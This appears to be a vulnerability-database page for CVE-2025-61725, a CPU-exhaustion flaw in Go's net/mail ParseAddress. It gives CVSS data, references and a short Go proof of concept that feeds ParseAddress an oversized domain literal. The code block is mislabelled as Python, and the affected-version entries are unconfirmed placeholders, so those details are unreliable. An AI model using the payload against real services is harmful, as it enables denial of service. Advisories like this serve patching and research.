CVE-2025-61725

Description

The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Go语言 < 1.23.x (待确认具体版本)

Go语言 < 1.22.x (待确认具体版本)

Go net/mail包受影响版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-61725 PoC - DoS via ParseAddress function
package main

import (
    "fmt"
    "net/mail"
    "time"
)

func main() {
    // Create a large domain-literal component to trigger CPU exhaustion
    // The vulnerability occurs when parsing addresses with oversized domain-literal parts
    largeDomain := make([]byte, 100000) // 100KB of data
    for i := range largeDomain {
        largeDomain[i] = 'x'
    }
    
    maliciousAddress := fmt.Sprintf("user@[.%s]", largeDomain)
    
    fmt.Println("Starting ParseAddress with large domain-literal...")
    start := time.Now()
    
    _, err := mail.ParseAddress(maliciousAddress)
    
    elapsed := time.Since(start)
    fmt.Printf("ParseAddress completed in: %v\n", elapsed)
    if err != nil {
        fmt.Printf("Parse error (expected): %v\n", err)
    }
    
    // Note: In vulnerable versions, this will consume excessive CPU time
    // Fixed versions should parse quickly with optimized string handling
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-61725
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-61725
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-61725/
[4] VulDB https://vuldb.com/cve/CVE-2025-61725
[5] https://go.dev/cl/709860
[6] https://go.dev/issue/75680
[7] https://groups.google.com/g/golang-announce/c/4Emdl2iQ_bI
[8] https://pkg.go.dev/vuln/GO-2025-4006
[9] http://www.openwall.com/lists/oss-security/2025/10/08/1

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-61725", "sourceIdentifier": "[email protected]", "published": "2025-10-29T23:16:20.113", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "references": [{"url": "https://go.dev/cl/709860", "source": "[email protected]"}, {"url": "https://go.dev/issue/75680", "source": "[email protected]"}, {"url": "https://groups.google.com/g/golang-announce/c/4Emdl2iQ_bI", "source": "[email protected]"}, {"url": "https://pkg.go.dev/vuln/GO-2025-4006", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/08/1", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}